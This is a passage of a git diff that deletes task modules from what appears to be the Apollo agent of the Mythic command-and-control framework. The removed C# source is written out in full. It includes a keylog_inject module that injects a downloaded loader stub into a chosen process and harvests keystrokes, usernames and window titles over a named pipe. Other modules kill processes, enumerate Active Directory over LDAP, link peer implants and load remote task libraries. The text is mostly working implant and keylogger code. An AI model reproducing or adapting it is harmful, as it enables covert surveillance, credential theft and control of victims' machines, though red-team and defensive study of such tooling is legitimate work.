(string j in jids) - { - if (_agent.GetTaskManager().CancelTask(j)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - $"Killed {j}", false, "")); - } - else - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - $"Failed to kill {j}", false, "")); - bRet = false; - } - } - - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - "", - true, - bRet ? "completed" : "error")); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/jobs.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/jobs.cs deleted file mode 100644 index e99c8d8f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/jobs.cs +++ /dev/null @@ -1,44 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define JOBS -#endif - -#if JOBS - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Collections.Generic; - -namespace Tasks -{ - public class jobs : Tasking - { - public jobs(IAgent agent, MythicTask data) : base(agent, data) - { - } - - public override void Start() - { - string[] jids = _agent.GetTaskManager().GetExecutingTaskIds(); - string fmtArr = "["; - List realJids = new List(); - foreach (string j in jids) - { - if (j != _data.ID) - { - realJids.Add(j); - } - } - - MythicTaskResponse resp = CreateTaskResponse("", true, "completed"); - resp.ProcessResponse = new ApolloInterop.Structs.ApolloStructs.ProcessResponse - { - Jobs = realJids.ToArray() - }; - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/keylog_inject.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/keylog_inject.cs deleted file mode 100644 index efb6d526..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/keylog_inject.cs +++ /dev/null @@ -1,256 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define KEYLOG_INJECT -#endif - -#if KEYLOG_INJECT - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Collections; -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Events; -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Interfaces; -using ApolloInterop.Serializers; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.IO.Pipes; -using System.Linq; -using System.Runtime.Serialization; -using System.Text; -using System.Threading; -using ST = System.Threading.Tasks; - -namespace Tasks -{ - public class keylog_inject : Tasking - { - [DataContract] - internal struct KeylogInjectParameters - { - [DataMember(Name = "pipe_name")] - public string PipeName; - [DataMember(Name = "loader_stub_id")] - public string LoaderStubId; - [DataMember(Name = "pid")] - public int PID; - } - private ConcurrentDictionary> MessageStore = new ConcurrentDictionary>(); - private AutoResetEvent _senderEvent = new AutoResetEvent(false); - private AutoResetEvent _receiverEvent = new AutoResetEvent(false); - private AutoResetEvent _putFilesEvent = new AutoResetEvent(false); - private AutoResetEvent _pipeConnected = new AutoResetEvent(false); - - private ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private ThreadSafeList _keylogs = new ThreadSafeList(); - private ConcurrentQueue _putFilesQueue = new ConcurrentQueue(); - private ConcurrentQueue _receiverQueue = new ConcurrentQueue(); - private JsonSerializer _serializer = new JsonSerializer(); - private AutoResetEvent _complete = new AutoResetEvent(false); - private Action _putKeylogsAction; - List> uploadTasks = new List>(); - - private bool _completed = false; - - public keylog_inject(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - _putKeylogsAction = (object p) => - { - PipeStream ps = (PipeStream)p; - WaitHandle[] waiters = new WaitHandle[] { _cancellationToken.Token.WaitHandle, _complete }; - while (!_cancellationToken.IsCancellationRequested && !_completed) - { - WaitHandle.WaitAny(waiters, 10000); - KeylogInformation[] keylogs = _keylogs.Flush(); - if (keylogs.Length > 0) - { - bool found = false; - List aggregated = new List(); - aggregated.Add(new KeylogInformation { - WindowTitle = keylogs[0].WindowTitle, - Username = keylogs[0].Username, - Keystrokes = keylogs[0].Keystrokes - }); - for (int i = 1; i < keylogs.Length; i++) - { - for(int j = 0; j < aggregated.Count; j++) - { - if (aggregated[j].WindowTitle == keylogs[i].WindowTitle && aggregated[j].Username == keylogs[i].Username) - { - KeylogInformation update = aggregated[j]; - update.Keystrokes += keylogs[i].Keystrokes; - aggregated[j] = update; - found = true; - break; - } - } - if (!found) - { - aggregated.Add(new KeylogInformation - { - WindowTitle = keylogs[i].WindowTitle, - Username = keylogs[i].Username, - Keystrokes = keylogs[i].Keystrokes - }); - } - found = false; - } - _agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse - { - TaskID = _data.ID, - Keylogs = aggregated.ToArray(), - UserOutput = _jsonSerializer.Serialize(aggregated.ToArray()) - }); - } - } - ps.Close(); - }; - } - - - public override void Start() - { - MythicTaskResponse resp; - try - { - KeylogInjectParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(parameters.LoaderStubId) || - string.IsNullOrEmpty(parameters.PipeName)) - { - resp = CreateTaskResponse( - $"One or more required arguments was not provided.", - true, - "error"); - } - else - { - bool pidRunning = false; - try - { - System.Diagnostics.Process.GetProcessById(parameters.PID); - pidRunning = true; - } - catch - { - pidRunning = false; - } - - if (pidRunning) - { - if (_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, - out byte[] exeAsmPic)) - { - var injector = _agent.GetInjectionManager().CreateInstance(exeAsmPic, parameters.PID); - if (injector.Inject()) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", - false, - "", - new IMythicMessage[] - { - Artifact.ProcessInject(parameters.PID, - _agent.GetInjectionManager().GetCurrentTechnique().Name) - })); - AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); - client.ConnectionEstablished += Client_ConnectionEstablished; - client.MessageReceived += OnAsyncMessageReceived; - client.Disconnect += Client_Disconnect; - if (client.Connect(3000)) - { - WaitHandle[] waiters = new WaitHandle[] - { - _complete, - _cancellationToken.Token.WaitHandle - }; - WaitHandle.WaitAny(waiters); - resp = CreateTaskResponse("", true, "completed"); - } - else - { - resp = CreateTaskResponse($"Failed to connect to named pipe.", true, "error"); - } - } - else - { - resp = CreateTaskResponse($"Failed to inject into PID {parameters.PID}", true, "error"); - } - } - else - { - resp = CreateTaskResponse( - $"Failed to download assembly loader stub (with id: {parameters.LoaderStubId})", - true, - "error"); - } - } - else - { - resp = CreateTaskResponse( - $"Process with ID {parameters.PID} is not running.", - true, - "error"); - } - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - private void Client_Disconnect(object sender, NamedPipeMessageArgs e) - { - e.Pipe.Close(); - _completed = true; - _complete.Set(); - } - - private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) - { - System.Threading.Tasks.Task.Factory.StartNew(_putKeylogsAction, e.Pipe, _cancellationToken.Token); - } - - private void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) - { - IPCChunkedData chunkedData = _jsonSerializer.Deserialize( - Encoding.UTF8.GetString(args.Data.Data.Take(args.Data.DataLength).ToArray())); - lock (MessageStore) - { - if (!MessageStore.ContainsKey(chunkedData.ID)) - { - MessageStore[chunkedData.ID] = new ChunkedMessageStore(); - MessageStore[chunkedData.ID].MessageComplete += DeserializeToReceiverQueue; - } - } - MessageStore[chunkedData.ID].AddMessage(chunkedData); - } - - private void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for (int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - - IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt); - //Console.WriteLine("We got a message: {0}", mt.ToString()); - - if (msg.GetTypeCode() != MessageType.KeylogInformation) - { - throw new Exception("Invalid type received from the named pipe!"); - } - _keylogs.Add((KeylogInformation)msg); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/kill.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/kill.cs deleted file mode 100644 index 171065f7..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/kill.cs +++ /dev/null @@ -1,56 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define KILL -#endif - -#if KILL - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class kill : Tasking - { - [DataContract] - internal struct KillArguments - { - [DataMember(Name = "pid")] - public int PID; - } - public kill(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - KillArguments parameters = _jsonSerializer.Deserialize(_data.Parameters); - try - { - System.Diagnostics.Process proc = System.Diagnostics.Process.GetProcessById(parameters.PID); - proc.Kill(); - resp = CreateTaskResponse($"Killed {proc.ProcessName} ({proc.Id})", true, "completed", - new IMythicMessage[] - { - Artifact.ProcessKill(proc.Id) - }); - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Failed to kill process. Reason: {ex.Message}", true, "error"); - } - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/ldap_query.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/ldap_query.cs deleted file mode 100644 index 76a6ac0e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/ldap_query.cs +++ /dev/null @@ -1,390 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define LDAP_QUERY -#endif - -#if LDAP_QUERY - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.DirectoryServices; -using System.DirectoryServices.ActiveDirectory; -using System.Linq; -using System.Runtime.Serialization; -using System.Text; -using System.Xml; - -namespace Tasks -{ - public class ActiveDirectoryLdapQuery - { - private readonly string _ldapPath; - private readonly string _username; - private readonly string _password; - private readonly bool _chaseReferrals; - - /// - /// Initializes a new instance with default credentials (current user) - /// - /// LDAP path (e.g., "LDAP://DC=domain,DC=com") - public ActiveDirectoryLdapQuery(string ldapPath) - { - _ldapPath = ldapPath; - _chaseReferrals = true; - } - - /// - /// Initializes a new instance with specific credentials - /// - /// LDAP path (e.g., "LDAP://DC=domain,DC=com") - /// Username for authentication - /// Password for authentication - public ActiveDirectoryLdapQuery(string ldapPath, string username, string password) - { - _ldapPath = ldapPath; - _username = username; - _password = password; - _chaseReferrals = true; - } - - /// - /// Queries Active Directory and returns results as a list of dictionaries - /// - /// LDAP search filter (e.g., "(objectClass=user)") - /// Optional search base (null to use root) - /// Optional list of attributes to return (null for all) - /// Search scope (default: Subtree) - /// List of dictionaries containing the results - public List> Query( - string filter, - string searchBase = null, - string[] attributesToReturn = null, - int limit = 0, - SearchScope searchScope = SearchScope.Subtree) - { - var results = new List>(); - - using (var directoryEntry = CreateDirectoryEntry(searchBase)) - using (var searcher = new DirectorySearcher(directoryEntry)) - { - searcher.Filter = filter; - searcher.SearchScope = searchScope; - - // Add attributes to load if specified - if (attributesToReturn != null && attributesToReturn.Length > 0) - { - searcher.PropertiesToLoad.AddRange(attributesToReturn); - } - - searcher.CacheResults = false; - searcher.SizeLimit = limit; - searcher.PageSize = limit; - // Configure referral chasing - if (_chaseReferrals) - { - searcher.ReferralChasing = ReferralChasingOption.All; - } - else - { - searcher.ReferralChasing = ReferralChasingOption.None; - } - using (var searchResults = searcher.FindAll()) - { - foreach (SearchResult searchResult in searchResults) - { - var entry = ExtractEntry(searchResult, attributesToReturn); - results.Add(entry); - } - } - } - - return results; - } - - /// - /// Creates a DirectoryEntry object with appropriate credentials - /// - private DirectoryEntry CreateDirectoryEntry(string searchBase) - { - string path = string.IsNullOrEmpty(searchBase) - ? _ldapPath - : $"{_ldapPath}/{searchBase}"; - - if (string.IsNullOrEmpty(_username)) - { - return new DirectoryEntry(path); - } - else - { - return new DirectoryEntry(path, _username, _password); - } - } - - /// - /// Extracts properties from a SearchResult into a dictionary - /// - private Dictionary ExtractEntry( - SearchResult searchResult, - string[] attributesToReturn) - { - var entry = new Dictionary(); - - // Add the distinguished name - entry["DistinguishedName"] = searchResult.Path; - - // Determine which properties to extract - var propertiesToExtract = attributesToReturn != null && attributesToReturn.Length > 0 - ? searchResult.Properties.PropertyNames.Cast() - .Where(p => attributesToReturn.Contains(p, StringComparer.OrdinalIgnoreCase)) - : searchResult.Properties.PropertyNames.Cast(); - - foreach (string propertyName in propertiesToExtract) - { - var propertyCollection = searchResult.Properties[propertyName]; - - if (propertyCollection == null || propertyCollection.Count == 0) - { - entry[propertyName] = null; - } - else if (propertyCollection.Count == 1) - { - // Single value - extract as single object - entry[propertyName] = ConvertValue(propertyCollection[0]); - } - else - { - // Multiple values - extract as array - var values = new List(); - foreach (var value in propertyCollection) - { - values.Add($"{ConvertValue(value)}"); - } - entry[propertyName] = values; - } - } - - return entry; - } - /// - /// Checks if a byte array is a SID based on its structure - /// - private bool IsSid(byte[] bytes) - { - // SID minimum length is 8 bytes - // Format: Revision(1) + SubAuthorityCount(1) + Authority(6) + SubAuthorities(variable) - if (bytes == null || bytes.Length < 8) - return false; - - // Check revision (should be 1) - byte revision = bytes[0]; - if (revision != 1) - return false; - - // Check sub-authority count - byte subAuthorityCount = bytes[1]; - - // Calculate expected length: 8 bytes header + (4 bytes * subAuthorityCount) - int expectedLength = 8 + (subAuthorityCount * 4); - - return bytes.Length == expectedLength; - } - - /// - /// Converts a SID byte array to standard string format (S-1-5-21-...) - /// - private string ConvertSidToString(byte[] sid) - { - try - { - // SID structure: - // byte 0: Revision (always 1) - // byte 1: SubAuthorityCount - // bytes 2-7: Authority (48-bit big-endian) - // bytes 8+: SubAuthorities (32-bit little-endian each) - - byte revision = sid[0]; - byte subAuthorityCount = sid[1]; - - // Parse the 48-bit authority (big-endian) - long authority = 0; - for (int i = 2; i <= 7; i++) - { - authority = (authority << 8) | sid[i]; - } - - // Start building the SID string - StringBuilder sidString = new StringBuilder(); - sidString.AppendFormat("S-{0}-{1}", revision, authority); - - // Parse each 32-bit sub-authority (little-endian) - for (int i = 0; i < subAuthorityCount; i++) - { - int offset = 8 + (i * 4); - uint subAuthority = BitConverter.ToUInt32(sid, offset); - sidString.AppendFormat("-{0}", subAuthority); - } - - return sidString.ToString(); - } - catch - { - // If conversion fails, fall back to base64 - return Convert.ToBase64String(sid); - } - } - /// - /// Converts AD property values to JSON-serializable types - /// - private object ConvertValue(object value) - { - if (value == null) - return null; - - // Handle byte arrays (like objectGUID, objectSid) - if (value is byte[] byteArray) - { - if (IsSid(byteArray)) - { - return ConvertSidToString(byteArray); - } - // Try to convert to GUID if it's 16 bytes - if (byteArray.Length == 16) - { - try - { - return new Guid(byteArray).ToString(); - } - catch - { - // If not a valid GUID, return as base64 - return Convert.ToBase64String(byteArray); - } - } - // Otherwise return as base64 - return Convert.ToBase64String(byteArray); - } - - // Handle DateTime - if (value is DateTime dateTime) - { - return dateTime.ToString("o"); // ISO 8601 format - } - - // Return as-is for strings, numbers, etc. - return value; - } - } - public class ldap_query : Tasking - { - [DataContract] - internal struct LdapQueryParameters - { - [DataMember(Name = "base")] - public string Base; - [DataMember(Name = "query")] - public string query; - [DataMember(Name ="attributes")] - public string[] attributes; - [DataMember(Name = "limit")] - public int limit; - } - - public ldap_query(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - string[] groupClasses = { "group", "domain", "organizationalUnit", "container" }; - public override void Start() - { - MythicTaskResponse resp; - LdapQueryParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - List artifacts = new List(); - string error = ""; - CustomBrowser customBrowser = new CustomBrowser(); - customBrowser.BrowserName = "ldap_browser"; - customBrowser.Host = parameters.Base; - customBrowser.SetAsUserOutput = true; - //customBrowser.UpdateDeleted = true; - customBrowser.Entries = new List(); - string ldapBase = parameters.Base; - ActiveDirectoryLdapQuery query; - if (ldapBase != "") - { - query = new ActiveDirectoryLdapQuery($"LDAP://{parameters.Base}"); - } else - { - Domain domain = Domain.GetCurrentDomain(); - DirectoryEntry ent = domain.GetDirectoryEntry(); - string path = ent.Path; - string[] pathPieces = ent.Path.Split('/'); - query = new ActiveDirectoryLdapQuery($"LDAP://{pathPieces[pathPieces.Length - 1]}"); - customBrowser.Host = pathPieces[pathPieces.Length - 1]; - } - - List> results = new List>(); - string filter = parameters.query; - if(filter == "") - { - filter = "(&(objectclass=top)(objectclass=container))"; - } - try - { - results = query.Query( - filter: filter, - attributesToReturn: parameters.attributes, - limit: parameters.limit - ); - }catch (Exception ex) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - ex.Message, true, "error")); - return; - } - foreach (var user in results) - { - - CustomBrowserEntry customBrowserEntry = new CustomBrowserEntry(); - if(user.TryGetValue("DistinguishedName", out object dn)) - { - string dnString = dn.ToString(); - dnString = dnString.Replace("LDAP://", ""); - customBrowserEntry.DispalyPath = dnString; - string[] dnStringPieces = dnString.Split(','); - customBrowserEntry.Name = dnStringPieces[0]; - dnStringPieces = dnStringPieces.Skip(1).Take(dnStringPieces.Length-1).Reverse().ToArray(); - customBrowserEntry.ParentPath = string.Join(",", dnStringPieces); - customBrowserEntry.Metadata = user; - if(user.TryGetValue("objectclass", out object oc)) - { - List classes = (List)oc; - - if (classes.Intersect(groupClasses).Count() > 0) - { - customBrowserEntry.CanHaveChildren = true; - } - - } - customBrowser.Entries.Add(customBrowserEntry); - } - - // Console.WriteLine(_jsonSerializer.Serialize(user)); - } - // Console.WriteLine(_jsonSerializer.Serialize(results)); - - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", true, "completed", new IMythicMessage[] - { - customBrowser - })); - - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/link.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/link.cs deleted file mode 100644 index 5ea3d594..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/link.cs +++ /dev/null @@ -1,121 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define LINK -#endif - -#if LINK - -using System; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class link : Tasking - { - [DataContract] - internal struct LinkParameters - { - [DataMember(Name = "connection_info")] - public PeerInformation ConnectionInfo; - } - - public link(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - - public override void Kill() - { - throw new NotImplementedException(); - } - - public override void Start() - { - MythicTaskResponse resp; - ApolloInterop.Classes.P2P.Peer p = null; - try - { - LinkParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - p = _agent.GetPeerManager().AddPeer(parameters.ConnectionInfo); - p.UUIDNegotiated += (object o, UUIDEventArgs a) => - { - resp = CreateTaskResponse( - $"Established link to {parameters.ConnectionInfo.Hostname}", - true, - "completed", - new IMythicMessage[1] - { - new EdgeNode() - { - Source = _agent.GetUUID(), - Destination = p.GetMythicUUID(), - Direction = EdgeDirection.SourceToDestination, - Action = "add", - C2Profile = parameters.ConnectionInfo.C2Profile.Name, - MetaData = "" - } - }); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - }; - p.Disconnect += (object o2, EventArgs a2) => - { - resp = CreateTaskResponse( - $"\nLost link to {parameters.ConnectionInfo.Hostname}", - true, - "error", - new IMythicMessage[1] - { - new EdgeNode() - { - Source = _agent.GetUUID(), - Destination = p.GetMythicUUID(), - Direction = EdgeDirection.SourceToDestination, - Action = "remove", - C2Profile = parameters.ConnectionInfo.C2Profile.Name, - MetaData = "" - } - }); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - }; - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse("", false, "Trying to connect...", new IMythicMessage[] - { - Artifact.NetworkConnection(parameters.ConnectionInfo.Hostname) - })); - if (!p.Start()) - { - resp = CreateTaskResponse( - $"Failed to connect to {parameters.ConnectionInfo.Hostname}", - true, - "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - _agent.GetPeerManager().Remove(p); - } else - { - resp = CreateTaskResponse( - $"Connected to {parameters.ConnectionInfo.Hostname}\nTrying to establish link...\n", - true, - ""); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } - catch (Exception ex) - { - resp = CreateTaskResponse( - $"{ex.StackTrace}\n\nFailed to establish connection. Reason: {ex.Message}", - true, - "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - if (p != null) - { - _agent.GetPeerManager().Remove(p); - } - } - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/listpipes.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/listpipes.cs deleted file mode 100644 index 7c027305..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/listpipes.cs +++ /dev/null @@ -1,108 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define LISTPIPES -#endif - -#if LISTPIPES - -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks -{ - public class listpipes : Tasking - { - [DataContract] - internal struct ListPipesParameters { } - - public listpipes(IAgent agent, MythicTask task) : base(agent, task) { } - - public override void Start() - { - MythicTaskResponse resp; - try - { - var pipes = EnumerateNamedPipes(); - string output = pipes.Count == 0 - ? "No named pipes found." - : $"Found {pipes.Count} named pipes:\n" + string.Join("\n", pipes); - - resp = CreateTaskResponse(output, true, "completed"); - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Exception in listpipes: {ex.Message}\n{ex.StackTrace}", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - private List EnumerateNamedPipes() - { - var pipeList = new List(); - - WIN32_FIND_DATA findData; - IntPtr handle = FindFirstFileW(@"\\.\pipe\*", out findData); - if (handle == INVALID_HANDLE_VALUE) - { - throw new Exception($"FindFirstFileW failed with error {Marshal.GetLastWin32Error()}"); - } - - try - { - do - { - string name = findData.cFileName?.TrimEnd('\0'); - if (!string.IsNullOrEmpty(name)) - { - pipeList.Add(name); - } - } while (FindNextFileW(handle, out findData)); - } - finally - { - FindClose(handle); - } - - return pipeList; - } - - private const int MAX_PATH = 260; - private static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1); - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - struct WIN32_FIND_DATA - { - public uint dwFileAttributes; - public System.Runtime.InteropServices.ComTypes.FILETIME ftCreationTime; - public System.Runtime.InteropServices.ComTypes.FILETIME ftLastAccessTime; - public System.Runtime.InteropServices.ComTypes.FILETIME ftLastWriteTime; - public uint nFileSizeHigh; - public uint nFileSizeLow; - public uint dwReserved0; - public uint dwReserved1; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_PATH)] - public string cFileName; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)] - public string cAlternateFileName; - } - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - static extern IntPtr FindFirstFileW( - [MarshalAs(UnmanagedType.LPWStr)] string lpFileName, - out WIN32_FIND_DATA lpFindFileData); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - static extern bool FindNextFileW(IntPtr hFindFile, out WIN32_FIND_DATA lpFindFileData); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern bool FindClose(IntPtr hFindFile); - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/load.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/load.cs deleted file mode 100644 index 427dd098..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/load.cs +++ /dev/null @@ -1,93 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define LOAD -#endif - -#if LOAD - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using ApolloInterop.Structs.ApolloStructs; -using ST = System.Threading.Tasks; -namespace Tasks -{ - public class load : Tasking - { - [DataContract] - internal struct LoadParameters - { - [DataMember(Name = "commands")] - public string[] Commands; - [DataMember(Name = "file_id")] - public string FileId; - } - public load(IAgent agent, MythicTask data) : base(agent, data) - { - - } - - public override ST.Task CreateTasking() - { - return new ST.Task(() => { Start(); }, _cancellationToken.Token); - } - - public override void Start() - { - MythicTaskResponse resp; - LoadParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (parameters.Commands.Length == 0) - { - resp = CreateTaskResponse("No commands given to load.", true, "error"); - } - else if (string.IsNullOrEmpty(parameters.FileId)) - { - resp = CreateTaskResponse("No task library file given to retrieve.", true, "error"); - } - else - { - if (_agent.GetFileManager().GetFile(_cancellationToken.Token,_data.ID, parameters.FileId,out byte[] taskLib)) - { - if (_agent.GetTaskManager().LoadTaskModule(taskLib, parameters.Commands)) - { - IMythicMessage[] items = new IMythicMessage[parameters.Commands.Length]; - for (int i = 0; i < items.Length; i++) - { - items[i] = new CommandInformation - { - Action = "add", - Command = parameters.Commands[i] - }; - } - - resp = CreateTaskResponse( - $"", - true, - "completed", - items); - resp.ProcessResponse = new ProcessResponse() - { - Commands = parameters.Commands - }; - } - else - { - resp = CreateTaskResponse( - $"One or more commands were not found in the task library.", - true, - "error"); - } - } - else - { - resp = CreateTaskResponse("Failed to pull down task library.", true, "error"); - } - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/ls.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/ls.cs deleted file mode 100644 index 5e5c1b7d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/ls.cs +++ /dev/null @@ -1,342 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define LS -#endif - -#if LS - -using System; -using System.Collections.Generic; -using System.Linq; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using System.IO; -using System.Security.AccessControl; -using TT = System.Threading.Tasks; -using System.Collections.Concurrent; -using System.ComponentModel; -using System.Security.Policy; - -namespace Tasks -{ - public class ls : Tasking - { - - private static int _chunkSize = 10; - private static ACE GetAceInformation(FileSystemAccessRule ace) - { - ACE result = new ACE - { - Account = ace.IdentityReference.Value, - Type = ace.AccessControlType.ToString(), - Rights = ace.FileSystemRights.ToString(), - IsInherited = ace.IsInherited - }; - return result; - } - - private static ACE[] GetPermissions(FileInfo fi) - { - List permissions = new List(); - try - { - FileSecurity fsec = fi.GetAccessControl(AccessControlSections.Access); - foreach (FileSystemAccessRule FSAR in fsec.GetAccessRules(true, true, typeof(System.Security.Principal.NTAccount))) - { - var tmp = GetAceInformation(FSAR); - permissions.Add(tmp); - } - } - catch { } - - return permissions.ToArray(); - } - private static ACE[] GetPermissions(DirectoryInfo di) - { - List permissions = new List(); - try - { - DirectorySecurity DirSec = di.GetAccessControl(AccessControlSections.Access); - foreach (FileSystemAccessRule FSAR in DirSec.GetAccessRules(true, true, typeof(System.Security.Principal.NTAccount))) - { - var tmp = GetAceInformation(FSAR); - permissions.Add(tmp); - } - } - catch { } - - return permissions.ToArray(); - } - - private static string[] localhostAliases = new string[] - { - "localhost", - "127.0.0.1", - Environment.GetEnvironmentVariable("COMPUTERNAME").ToLower() - }; - [DataContract] - internal struct LsParameters - { - [DataMember(Name = "host")] - public string Host; - [DataMember(Name = "path")] - public string Path; - } - - - private class FileDataStream - { - public ConcurrentQueue FileQueue = new ConcurrentQueue(); - - public event EventHandler FileChunkReached; - - public void Add(FileInformation item) - { - FileQueue.Enqueue(item); - if (FileQueue.Count >= _chunkSize) - FileChunkReached?.Invoke(this, null); - } - - public IEnumerable GetAll() - { - while(FileQueue.TryDequeue(out FileInformation t)) - { - yield return t; - } - } - } - - public ls(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - - public override void Start() - { - MythicTaskResponse resp; - LsParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string host = string.IsNullOrEmpty(parameters.Host) ? "" : parameters.Host; - host = localhostAliases.Contains(host.ToLower()) ? "" : host; - string uncPath = string.IsNullOrEmpty(host) ? parameters.Path : $@"\\{host}\{parameters.Path}"; - if (string.IsNullOrEmpty(uncPath)) - uncPath = "."; - if (string.IsNullOrEmpty(host)) - { - string cwd = System.IO.Directory.GetCurrentDirectory().ToString(); - if (cwd.StartsWith("\\\\")) - { - var hostPieces = cwd.Split('\\'); - if(hostPieces.Length > 2) - { - host = hostPieces[2]; - } else - { - resp = CreateTaskResponse($"invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path", true, "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - return; - } - } else - { - host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - - } - - FileBrowser results = new FileBrowser - { - Host = host - }; - try - { - if 